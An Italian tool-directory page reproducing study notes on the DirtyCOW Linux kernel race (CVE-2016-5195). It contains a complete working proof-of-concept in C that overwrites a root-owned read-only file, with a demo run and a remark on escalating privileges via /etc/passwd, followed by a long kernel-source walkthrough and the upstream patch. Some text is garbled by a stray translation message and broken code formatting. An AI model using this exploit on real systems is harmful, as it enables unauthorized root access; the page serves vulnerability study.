Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2016-5195 — DirtyCOW Appunti | Kitploit
Strumenti/GitHubGitHub/asuka39/cve-2016-5195
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary Exploitation
GitHubasuka39/cve-2016-5195

CVE-2016-5195

DirtyCOW Appunti

Vedi Repository
2 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2016-5195 DirtyCOW

PoC

  • Modificato da dirtycow.github.io```c #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h>

void *map; int f; struct stat st; char *name;

void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }

void *procselfmemThread(void *arg) { char str; str = (char)arg;

int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }

int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;

f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

root@kitploit:~
Non hai fornito il contenuto della terza parte. Per favore, fornisci il testo da tradurre.```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt 
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000

procselfmem -2094967296

madvise 0
$ cat flag.txt
aaaaaa

La tecnica di sfruttamento comune è scrivere con privilegi eccessivi in /etc/passwd per modificare l'utente root o i permessi dell'utente per scalare i privilegi.

Analisi

Analisi dell'Exploit

Prima diamo un'occhiata a cosa fa l'exp.```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }

pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

root@kitploit:~
- Prima chiama pthread per creare due thread
- Poi `fopen` apre il file di destinazione `argv[1]` in sola lettura
- Mappa il file in memoria con `mmap` (indirizzo casuale). Lo scopo di `MAP_PRIVATE` è creare una mappatura di memoria privata per un task. Se un altro task tenta di scrivere in questa memoria, il processo prima crea una copia e poi scrive, realizzando così il CopyOnWrite, che evita di dover copiare l'intero spazio di memoria quando si creano processi figli o thread, e garantisce che le operazioni concorrenti sulla memoria tra i task non interferiscano.
- Successivamente avvia due thread: uno esegue `madviseThread`, l'altro `procselfmemThread`.

Poi vediamo i corpi di esecuzione dei due thread:

- Un thread chiama `madvise` sulla mappatura del file per comunicare al kernel lo stato di utilizzo della memoria mappata o condivisa. `MADV_DONTNEED` indica che l'area di memoria non sarà più utilizzata e il kernel può rilasciarla.
- L'altro thread apre `/proc/self/mem` con permessi di lettura/scrittura, che è la mappatura della memoria virtuale del processo stesso, e tenta continuamente di scrivere le informazioni di destinazione nel file.```c
void *madviseThread(void *arg) {
  char *str;
  str = (char*)arg;
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
void *procselfmemThread(void *arg) {
  char *str;
  str = (char*)arg;

  int f = open("/proc/self/mem", O_RDWR);
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    lseek(f, (uintptr_t)map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

Alla fine, sotto il bombardamento alternato dei due thread, il kernel presenta una vulnerabilità di race condition e procselfmemThread riesce a scrivere su un file di sola lettura.

Analisi del Kernel

  • Premessa fondamentale: mmap crea solo una mappatura di memoria sulla vma, ma non inserisce effettivamente il file mappato nel frame di pagina fisico. Pertanto, quando proviamo per la prima volta a scrivere su un file, scatterà inevitabilmente un page fault.
  • La versione del kernel qui scelta è la 4.4.

Cosa succede quando scriviamo

mem_rw

Iniziamo l'analisi da write. Qualsiasi operazione su un file deve passare attraverso la tabella virtuale file_operations registrata dal file system a cui appartiene il file nel VFS. I file su /proc sono implementati da procfs. Trovando proc_mem_operations, si può vedere che write è associato a mem_write.```c static const struct file_operations proc_mem_operations = { .llseek = mem_lseek, .read = mem_read, .write = mem_write, .open = mem_open, .release = mem_release, };

root@kitploit:~
`mem_write` è un wrapper di `mem_rw` (con il flag `write` impostato a 1). Il flusso principale di `mem_rw` è:

- Prima, `__get_free_page` alloca una pagina libera temporanea come buffer.
- Se è un'operazione di scrittura, chiama `copy_from_user` per copiare i dati da scrivere nella pagina temporanea.
- Quindi `access_remote_vm` legge i dati di destinazione nella pagina libera (lettura) o scrive il contenuto del buffer sull'indirizzo di destinazione (scrittura).
  - Il termine "remote" deriva dal fatto che questo processo può potenzialmente leggere o scrivere file mappati in memoria di altri processi, il che significa che il processo può accedere allo spazio di indirizzi di altri processi. Questo è diverso da altri memory filesystem.
- Se è un'operazione di lettura, i dati letti nella pagina libera dal passo precedente vengono riscritti nel buffer dell'utente.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
			size_t count, loff_t *ppos, int write)
{
	struct mm_struct *mm = file->private_data;
	unsigned long addr = *ppos;
	ssize_t copied;
	char *page;

	if (!mm)
		return 0;

	page = (char *)__get_free_page(GFP_TEMPORARY);	// 申请临时空闲页面
	if (!page)
		return -ENOMEM;

	copied = 0;
	if (!atomic_inc_not_zero(&mm->mm_users))
		goto free;

	while (count > 0) {
		int this_len = min_t(int, count, PAGE_SIZE);	// 本次读取/写入数据长度,单次最大为PAGE_SIZE

		if (write && copy_from_user(page, buf, this_len)) {		// 若是写操作,从用户空间拷贝待写数据到临时空闲页面
			copied = -EFAULT;
			break;
		}

		this_len = access_remote_vm(mm, addr, page, this_len, write);	// 读取/写入数据到临时空闲页面
		if (!this_len) {
			if (!copied)
				copied = -EIO;
			break;
		}

		if (!write && copy_to_user(buf, page, this_len)) {	// 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
			copied = -EFAULT;
			break;
		}

		buf += this_len;
		addr += this_len;
		copied += this_len;
		count -= this_len;
	}
	*ppos = addr;

	mmput(mm);
free:
	free_page((unsigned long) page);	// 释放临时空闲页面
	return copied;
}
__access_remote_vm

access_remote_vm è un wrapper di __access_remote_vm, il flusso principale è:

  • get_user_pages ottiene la struttura della pagina (page struct) all'indirizzo di destinazione addr

  • Se l'operazione riesce, viene chiamato kmap per mappare la pagina nella memoria alta del kernel (la pagina si riferisce a una pagina fisica)

  • Se l'accesso alla memoria è in scrittura, i dati vengono scritti e viene impostato il bit dirty; se è in lettura, i dati vengono letti.```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;

    down_read(&mm->mmap_sem); /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL;

    root@kitploit:~
      ret = get_user_pages(tsk, mm, addr, 1,		// 获取addr对应的page
      		write, 1, &page, &vma);
      if (ret <= 0) {		// 获取失败
    

#ifndef CONFIG_HAVE_IOREMAP_PROT break; #else /* * Check if this is a VM_IO | VM_PFNMAP VMA, which * we can access using slightly different code. */ vma = find_vma(mm, addr); if (!vma || vma->vm_start > addr) break; if (vma->vm_ops && vma->vm_ops->access) ret = vma->vm_ops->access(vma, addr, buf, len, write); if (ret <= 0) break; bytes = ret; #endif } else { // 获取成功 bytes = len; offset = addr & (PAGE_SIZE-1); if (bytes > PAGE_SIZE-offset) bytes = PAGE_SIZE-offset;

root@kitploit:~
		maddr = kmap(page);		// 映射page到内核空间,因为我们获取的是page结构体,需要映射到一个虚拟地址之后才能进行写入
		if (write) {	// 如果是写操作
			copy_to_user_page(vma, page, addr,		// 将buf的数据拷贝到page中,完成写入
					  maddr + offset, buf, bytes);
			set_page_dirty_lock(page);	// 设置页面为脏页
		} else {		// 如果是读操作
			copy_from_user_page(vma, page, addr,
					    buf, maddr + offset, bytes);
		}
		kunmap(page);
		page_cache_release(page);
	}
	len -= bytes;
	buf += bytes;
	addr += bytes;
}
up_read(&mm->mmap_sem);

return buf - old_buf;

}

root@kitploit:~
##### __get_user_pages

Quanto sopra è una panoramica delle operazioni di lettura/scrittura di procfs. Ora iniziamo con `get_user_pages`.

`get_user_pages` è un wrapper di `__get_user_pages_locked`, e quest'ultimo chiama `__get_user_pages` che è il vero corpo logico. Il suo flusso è il seguente:

- Prima itera sulle pagine da operare e fa alcuni preparativi, inclusa l'impostazione della bitmap dei permessi `foll_flags` per ogni pagina.
- Se è la prima iterazione o l'indirizzo di partenza è maggiore dell'indirizzo base della vma corrente, `find_extend_vma` ottiene la vma in cui si trova l'indirizzo di partenza.
- Se il processo non ha ricevuto o ha mascherato un segnale fatale, `follow_page_mask` ottiene la struct page della pagina fisica corrispondente all'indirizzo virtuale.
  - Di solito la pagina non è in memoria, cioè il primo accesso alla pagina causa un page fault.
  - Inoltre, se non si hanno i permessi per operare su quella pagina, si solleva un'eccezione.
  - Ci sono anche altre cause come OOM, guasti hardware, ecc., che non ci interessano qui.
- Se non si riesce a ottenere la pagina e non è un fault (ritorno 0), si chiama `faultin_page` per gestire l'eccezione di page fault. Dopo aver completato con successo, si torna a `follow_page_mask` per riprovare a ottenere la pagina.```c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
		unsigned long start, unsigned long nr_pages,
		unsigned int gup_flags, struct page **pages,
		struct vm_area_struct **vmas, int *nonblocking)
{
	long i = 0;
	unsigned int page_mask;
	struct vm_area_struct *vma = NULL;

	if (!nr_pages)
		return 0;

	VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));

	/*
	 * If FOLL_FORCE is set then do not force a full fault as the hinting
	 * fault information is unrelated to the reference behaviour of a task
	 * using the address space
	 */
	if (!(gup_flags & FOLL_FORCE))
		gup_flags |= FOLL_NUMA;

	do {
		struct page *page;
		unsigned int foll_flags = gup_flags;
		unsigned int page_increm;

		/* first iteration or cross vma bound */
		if (!vma || start >= vma->vm_end) {		// 若vma为空(第一次迭代)或者start超出vma的范围
			vma = find_extend_vma(mm, start);	// 查找start所在的vma
			if (!vma && in_gate_area(mm, start)) {
				int ret;
				ret = get_gate_page(mm, start & PAGE_MASK,
						gup_flags, &vma,
						pages ? &pages[i] : NULL);
				if (ret)
					return i ? : ret;
				page_mask = 0;
				goto next_page;
			}

			if (!vma || check_vma_flags(vma, gup_flags))
				return i ? : -EFAULT;
			if (is_vm_hugetlb_page(vma)) {
				i = follow_hugetlb_page(mm, vma, pages, vmas,
						&start, &nr_pages, i,
						gup_flags);
				continue;
			}
		}
retry:
		/*
		 * If we have a pending SIGKILL, don't keep faulting pages and
		 * potentially allocating memory.
		 */
		if (unlikely(fatal_signal_pending(current)))
			return i ? i : -ERESTARTSYS;
		cond_resched();
		page = follow_page_mask(vma, start, foll_flags, &page_mask);	// 获取虚拟地址对应的物理页的page struct
		if (!page) {	// 获取失败,可能是没有对应页,也可能是没有相应操作权限
			int ret;
			ret = faultin_page(tsk, vma, start, &foll_flags,	// 处理缺页异常,COW机制建映射得到一个新的可写的anon page
					nonblocking);								// 若没有写权限其会取消掉foll_flags中的写标志并返回0
			switch (ret) {
			case 0:		// 缺页异常处理成功,重新尝试获取page
				goto retry;
			case -EFAULT:
			case -ENOMEM:
			case -EHWPOISON:
				return i ? i : ret;
			case -EBUSY:
				return i;
			case -ENOENT:
				goto next_page;
			}
			BUG();
		} else if (PTR_ERR(page) == -EEXIST) {
			/*
			 * Proper page table entry exists, but no corresponding
			 * struct page.
			 */
			goto next_page;
		} else if (IS_ERR(page)) {
			return i ? i : PTR_ERR(page);
		}
		if (pages) {
			pages[i] = page;
			flush_anon_page(vma, page, start);
			flush_dcache_page(page);
			page_mask = 0;
		}
next_page:
		if (vmas) {
			vmas[i] = vma;
			page_mask = 0;
		}
		page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask);
		if (page_increm > nr_pages)
			page_increm = nr_pages;
		i += page_increm;
		start += page_increm * PAGE_SIZE;
		nr_pages -= page_increm;
	} while (nr_pages);		// 直到所有的页都处理完毕
	return i;
}
EXPORT_SYMBOL(__get_user_pages);
follow_page_mask

follow_page_mask analizza passo dopo passo l'indirizzo per trovare il pte, quindi chiama follow_page_pte per tentare di ottenere la struct page. La logica è piuttosto semplice: dopo una serie di controlli, se superati, restituisce la struct page. È evidente che se non trova la mappatura dell'indirizzo o non ha permessi di scrittura, restituisce NULL.```c static struct page *follow_page_pte(struct vm_area_struct *vma, unsigned long address, pmd_t *pmd, unsigned int flags) { struct mm_struct *mm = vma->vm_mm; struct page *page; spinlock_t *ptl; pte_t *ptep, pte;

retry: if (unlikely(pmd_bad(*pmd))) return no_page_table(vma, flags);

root@kitploit:~
ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
pte = *ptep;
if (!pte_present(pte)) {
	swp_entry_t entry;
	/*
	 * KSM's break_ksm() relies upon recognizing a ksm page
	 * even while it is being migrated, so for that case we
	 * need migration_entry_wait().
	 */
	if (likely(!(flags & FOLL_MIGRATION)))
		goto no_page;
	if (pte_none(pte))
		goto no_page;
	entry = pte_to_swp_entry(pte);
	if (!is_migration_entry(entry))
		goto no_page;
	pte_unmap_unlock(ptep, ptl);
	migration_entry_wait(mm, pmd, address);
	goto retry;
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
	goto no_page;
if ((flags & FOLL_WRITE) && !pte_write(pte)) {	// 欲执行写操作,但是没有写权限
	pte_unmap_unlock(ptep, ptl);
	return NULL;
}

page = vm_normal_page(vma, address, pte);	// 获取page struct
if (unlikely(!page)) {
	if (flags & FOLL_DUMP) {
		/* Avoid special (like zero) pages in core dumps */
		page = ERR_PTR(-EFAULT);
		goto out;
	}

	if (is_zero_pfn(pte_pfn(pte))) {
		page = pte_page(pte);
	} else {
		int ret;

		ret = follow_pfn_pte(vma, address, ptep, flags);
		page = ERR_PTR(ret);
		goto out;
	}
}

if (flags & FOLL_GET)
	get_page_foll(page);
if (flags & FOLL_TOUCH) {
	if ((flags & FOLL_WRITE) &&
	    !pte_dirty(pte) && !PageDirty(page))
		set_page_dirty(page);
	/*
	 * pte_mkyoung() would be more correct here, but atomic care
	 * is needed to avoid losing the dirty bit: it is easier to use
	 * mark_page_accessed().
	 */
	mark_page_accessed(page);
}
if ((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) {
	/*
	 * The preliminary mapping check is mainly to avoid the
	 * pointless overhead of lock_page on the ZERO_PAGE
	 * which might bounce very badly if there is contention.
	 *
	 * If the page is already locked, we don't need to
	 * handle it now - vmscan will handle it later if and
	 * when it attempts to reclaim the page.
	 */
	if (page->mapping && trylock_page(page)) {
		lru_add_drain();  /* push cached pages to LRU */
		/*
		 * Because we lock page here, and migration is
		 * blocked by the pte's page reference, and we
		 * know the page is still mapped, we don't even
		 * need to check for file-cache page truncation.
		 */
		mlock_vma_page(page);
		unlock_page(page);
	}
}

out: pte_unmap_unlock(ptep, ptl); return page; no_page: pte_unmap_unlock(ptep, ptl); if (!pte_none(pte)) return NULL; return no_page_table(vma, flags); }

root@kitploit:~
##### faultin_page

`faultin_page` Analogamente, dopo aver impostato i flag, si chiama `handle_mm_fault` per entrare formalmente nel processo di gestione delle eccezioni di pagina, che verrà approfondito in seguito.```c
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
		unsigned long address, unsigned int *flags, int *nonblocking)
{
	struct mm_struct *mm = vma->vm_mm;
	unsigned int fault_flags = 0;
	int ret;

	/* mlock all present pages, but do not fault in new pages */
	if ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)
		return -ENOENT;
	/* For mm_populate(), just skip the stack guard page. */
	if ((*flags & FOLL_POPULATE) &&
			(stack_guard_page_start(vma, address) ||
			 stack_guard_page_end(vma, address + PAGE_SIZE)))
		return -ENOENT;
	if (*flags & FOLL_WRITE)	// 欲执行写操作
		fault_flags |= FAULT_FLAG_WRITE;
	if (nonblocking)
		fault_flags |= FAULT_FLAG_ALLOW_RETRY;
	if (*flags & FOLL_NOWAIT)
		fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
	if (*flags & FOLL_TRIED) {
		VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
		fault_flags |= FAULT_FLAG_TRIED;
	}

	ret = handle_mm_fault(mm, vma, address, fault_flags);	// 处理缺页异常
	if (ret & VM_FAULT_ERROR) {
		if (ret & VM_FAULT_OOM)
			return -ENOMEM;
		if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))
			return *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;
		if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))
			return -EFAULT;
		BUG();
	}

	if (tsk) {
		if (ret & VM_FAULT_MAJOR)
			tsk->maj_flt++;
		else
			tsk->min_flt++;
	}

	if (ret & VM_FAULT_RETRY) {
		if (nonblocking)
			*nonblocking = 0;
		return -EBUSY;
	}

	/*
	 * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
	 * necessary, even if maybe_mkwrite decided not to set pte_write. We
	 * can thus safely do subsequent page lookups as if they were reads.
	 * But only do so when looping for pte_write is futile: in some cases
	 * userspace may also be wanting to write to the gotten user page,
	 * which a read fault here might prevent (a readonly page might get
	 * reCOWed by userspace write).
	 */
	if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))	// 若vma不可写,但是缺页异常处理成功,且需要写操作
		*flags &= ~FOLL_WRITE;	// 清除写操作标志,否则会在__get_user_pages中返回不断retry
	return 0;
}

DirtyCOW

Gestione dei Page Fault

Il meccanismo di ripetizione indicato dal tag retry in __get_user_pages rappresenta sostanzialmente il flusso di gestione delle eccezioni di pagina durante l'accesso alla memoria. Prendendo come esempio lo scenario descritto, si noti che le operazioni non sono atomiche:

  1. Prima volta
    1. Il Task accede per la prima volta all'indirizzo mappato con mmap che associa il file. Poiché mmap non carica la pagina in memoria, follow_page_mask non riesce a ottenere la pagina, causando la prima eccezione di pagina.
    2. faultin_page carica la pagina in memoria, crea la mappatura e restituisce il controllo, quindi si ripete il tentativo.
  2. Seconda volta
    1. follow_page_mask tenta di ottenere la pagina una seconda volta. L'operazione include la scrittura sulla pagina, ma la pagina di destinazione è in sola lettura, quindi il tentativo fallisce causando la seconda eccezione di pagina.
    2. faultin_page, seguendo il meccanismo COW, crea una copia anonima della pagina, ricrea la mappatura e rimuove il flag FOLL_WRITE per evitare ripetizioni infinite, quindi restituisce il controllo e si ripete il tentativo.
  3. Terza volta
    1. follow_page_mask tenta di ottenere la pagina una terza volta. Ora il flag di scrittura è stato rimosso, quindi riesce ad ottenere la pagina anonima generata dalla COW con permessi di sola lettura, senza causare altre eccezioni.
    2. Il controllo ritorna a kmap e il processo completa la scrittura (ma le modifiche non vengono sincronizzate nel file).
Come funziona DirtyCOW

A questo punto il punto debole è piuttosto chiaro: la parte di retry delle tre gestione delle eccezioni di pagina dovrebbe essere atomica, almeno bloccando il PTE. Tuttavia, per qualche ragione, qui non viene effettuata alcuna protezione, rendendo questo flusso di esecuzione facilmente alterabile. DirtyCOW sfrutta questo comportamento chiamando continuamente madvice per forzare il kernel a cancellare il PTE e rimuovere la mappatura della pagina di destinazione, portando al seguente flusso di esecuzione:

  1. Prima volta
    1. Il Task accede per la prima volta all'indirizzo mappato con mmap che associa il file. Poiché mmap non carica la pagina in memoria, follow_page_mask non riesce a ottenere la pagina, causando la prima eccezione di pagina.
    2. faultin_page carica la pagina in memoria, crea la mappatura e restituisce il controllo, quindi si ripete il tentativo.
  2. Seconda volta
    1. follow_page_mask tenta di ottenere la pagina una seconda volta. L'operazione include la scrittura sulla pagina, ma la pagina di destinazione è in sola lettura, quindi il tentativo fallisce causando la seconda eccezione di pagina.
    2. faultin_page, seguendo il meccanismo COW, crea una copia anonima della pagina, ricrea la mappatura e rimuove il flag FOLL_WRITE per evitare ripetizioni infinite, quindi restituisce il controllo e si ripete il tentativo.
  3. Concorrenza: A questo punto, su suggerimento di madvice, il kernel cancella il PTE relativo all'indirizzo virtuale, rimuovendo la mappatura dell'indirizzo virtuale (i thread dello stesso processo condividono la stessa tabella delle pagine).
  4. Terza volta
    1. follow_page_mask tenta di ottenere la pagina una terza volta. Ora il flag di scrittura è stato rimosso, quindi tenta di ottenere la pagina con permessi di sola lettura. Contemporaneamente, la mappatura della pagina è stata rimossa, causando un'altra eccezione di pagina.

Un ulteriore dubbio potrebbe essere: anche se riusciamo ad ottenere la pagina, il VMA originale è ancora in sola lettura. Come possiamo infine scrivere? La soluzione sembra risiedere nel fatto che kmap mappa la memoria nella high memory del kernel. Anche se il PTE mappato dal VMA in spazio utente è in sola lettura, il PTE della high memory del kernel ha permessi di scrittura. Attraverso questo possiamo scrivere con privilegi elevati, una caratteristica peculiare di mem_write.

Per essere un buon COW

Infine, diamo un'occhiata alla patch di Linus. Probabilmente per motivi di prestazioni, non ha inserito un lock sul punto debole, ma ha invece introdotto un flag FOLL_COW per gestire in modo speciale la COW.

  • commit: mm: remove gup_flags FOLL_WRITE games from __get_user_pages()```diff diff --git a/include/linux/mm.h b/include/linux/mm.h index e9caec6a51e97a..ed85879f47f5f7 100644 --- a/include/linux/mm.h +++ b/include/linux/mm.h @@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct vma, #define FOLL_TRIED 0x800 / a retry, previous pass started an IO / #define FOLL_MLOCK 0x1000 / lock present pages / #define FOLL_REMOTE 0x2000 / we are working on non-current tsk/mm / +#define FOLL_COW 0x4000 / internal GUP flag */

typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr, void *data); diff --git a/mm/gup.c b/mm/gup.c index 96b2b2fd0fbd13..22cc22e7432f60 100644 --- a/mm/gup.c +++ b/mm/gup.c @@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address, return -EEXIST; }

+/*

    • FOLL_FORCE can write to even unwritable pte's, but only
    • after we've gone through a COW cycle and they are dirty.
  • */ +static inline bool can_follow_write_pte(pte_t pte, unsigned int flags) +{
  • return pte_write(pte) ||
  • root@kitploit:~
      ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
    

+} + static struct page *follow_page_pte(struct vm_area_struct *vma, unsigned long address, pmd_t *pmd, unsigned int flags) { @@ -95,7 +105,7 @@ retry: } if ((flags & FOLL_NUMA) && pte_protnone(pte)) goto no_page;

  • if ((flags & FOLL_WRITE) && !pte_write(pte)) {
  • if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) { pte_unmap_unlock(ptep, ptl); return NULL; } @@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
    • reCOWed by userspace write). */ if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
  • root@kitploit:~
      *flags &= ~FOLL_WRITE;
    
  • root@kitploit:~
          *flags |= FOLL_COW;
    
    return 0; }
root@kitploit:~
#### Approfondire il Page Fault

##### handle_mm_fault

In precedenza ci siamo fermati a `faultin_page`, ora continuiamo ad approfondire partendo da `handle_mm_fault`.```c
int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
		    unsigned long address, unsigned int flags)
{
	int ret;

	__set_current_state(TASK_RUNNING);	// 在处理完缺页异常后进程需要继续运行,保持TASK_RUNNING状态

	count_vm_event(PGFAULT);
	mem_cgroup_count_vm_event(mm, PGFAULT);

	/* do counter updates before entering really critical section. */
	check_sync_rss_stat(current);

	/*
	 * Enable the memcg OOM handling for faults triggered in user
	 * space.  Kernel faults are handled more gracefully.
	 */
	if (flags & FAULT_FLAG_USER)
		mem_cgroup_oom_enable();	// 使能内存控制组的OOM处理

	ret = __handle_mm_fault(mm, vma, address, flags);	// handle的真正入口

	if (flags & FAULT_FLAG_USER) {	// 如果是用户态的缺页异常
		mem_cgroup_oom_disable();	// 禁用内存控制组的OOM处理
                /*
                 * The task may have entered a memcg OOM situation but
                 * if the allocation error was handled gracefully (no
                 * VM_FAULT_OOM), there is no need to kill anything.
                 * Just clean up the OOM state peacefully.
                 */
                if (task_in_memcg_oom(current) && !(ret & VM_FAULT_OOM))	// 如果进程处于内存控制组的OOM状态,但没有OOM错误
                        mem_cgroup_oom_synchronize(false);	// 清理OOM状态即可
	}

	return ret;
}
EXPORT_SYMBOL_GPL(handle_mm_fault);
__handle_mm_fault

Considerando nuovamente il wrapper __handle_mm_fault, essenzialmente analizza il pte in cui si trova il target, quindi chiama handle_pte_fault per gestirlo.```c static int __handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma, unsigned long address, unsigned int flags) { pgd_t *pgd; // 页全局目录指针 pud_t *pud; // 页上级目录指针 pmd_t *pmd; // 页中间目录指针 pte_t *pte; // 页表项指针

root@kitploit:~
if (unlikely(is_vm_hugetlb_page(vma)))	// hugepage
	return hugetlb_fault(mm, vma, address, flags);

pgd = pgd_offset(mm, address);		// (mm)->pgd + (address)>>PGDIR_SHIFT
pud = pud_alloc(mm, pgd, address);	// 获取pud指针
if (!pud)
	return VM_FAULT_OOM;	// out of memory
pmd = pmd_alloc(mm, pud, address);	// 获取pmd指针
if (!pmd)
	return VM_FAULT_OOM;
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma)) {	// 透明大页
	int ret = create_huge_pmd(mm, vma, address, pmd, flags);
	if (!(ret & VM_FAULT_FALLBACK))
		return ret;
} else {
	pmd_t orig_pmd = *pmd;
	int ret;

	barrier();	// 内存屏障,确保orig_pmd的读取顺序不会被编译器优化,保证读取的是最新的pmd值
	if (pmd_trans_huge(orig_pmd)) {		// 透明大页
		unsigned int dirty = flags & FAULT_FLAG_WRITE;

		/*
		 * If the pmd is splitting, return and retry the
		 * the fault.  Alternative: wait until the split
		 * is done, and goto retry.
		 */
		if (pmd_trans_splitting(orig_pmd))
			return 0;

		if (pmd_protnone(orig_pmd))
			return do_huge_pmd_numa_page(mm, vma, address,
						     orig_pmd, pmd);

		if (dirty && !pmd_write(orig_pmd)) {
			ret = wp_huge_pmd(mm, vma, address, pmd,
						orig_pmd, flags);
			if (!(ret & VM_FAULT_FALLBACK))
				return ret;
		} else {
			huge_pmd_set_accessed(mm, vma, address, pmd,
					      orig_pmd, dirty);
			return 0;
		}
	}
}

/*
 * Use __pte_alloc instead of pte_alloc_map, because we can't
 * run pte_offset_map on the pmd, if an huge pmd could
 * materialize from under us from a different thread.
 */
if (unlikely(pmd_none(*pmd)) &&
    unlikely(__pte_alloc(mm, vma, pmd, address)))
	return VM_FAULT_OOM;
/*
 * If a huge pmd materialized under us just retry later.  Use
 * pmd_trans_unstable() instead of pmd_trans_huge() to ensure the pmd
 * didn't become pmd_trans_huge under us and then back to pmd_none, as
 * a result of MADV_DONTNEED running immediately after a huge pmd fault
 * in a different thread of this mm, in turn leading to a misleading
 * pmd_trans_huge() retval.  All we have to ensure is that it is a
 * regular pmd that we can walk with pte_offset_map() and we can do that
 * through an atomic read in C, which is what pmd_trans_unstable()
 * provides.
 */
if (unlikely(pmd_trans_unstable(pmd)))
	return 0;
/*
 * A regular pmd is established and it can't morph into a huge pmd
 * from under us anymore at this point because we hold the mmap_sem
 * read mode and khugepaged takes it in write mode. So now it's
 * safe to run pte_offset_map().
 */
pte = pte_offset_map(pmd, address);		// 获取pte指针,这也是这个wrap的最终的目标

return handle_pte_fault(mm, vma, address, pte, pmd, flags);		// 进入page fault处理

}

root@kitploit:~
##### handle_pte_fault

Il flusso di `handle_pte_fault` è il seguente, le funzioni chiave sono `do_fault` e `do_wp_page`

- Prima si controlla se pte è vuoto; in tal caso indica che il processo accede alla pagina per la prima volta
  - Se si accede a una pagina anonima, si chiama `do_anonymous_page`
  - Se si accede a una pagina non anonima, si chiama `do_fault`
  - Dopo queste operazioni si ritorna direttamente
- Se la pagina è in memoria (indica che è già stata visitata in precedenza), dopo alcuni controlli, se il page fault è stato causato da un'operazione di scrittura
  - Se non ci sono permessi di scrittura, si chiama `do_wp_page`
  - Se ci sono permessi di scrittura, si imposta il bit sporco (dirty) su pte```c
static int handle_pte_fault(struct mm_struct *mm,
		     struct vm_area_struct *vma, unsigned long address,
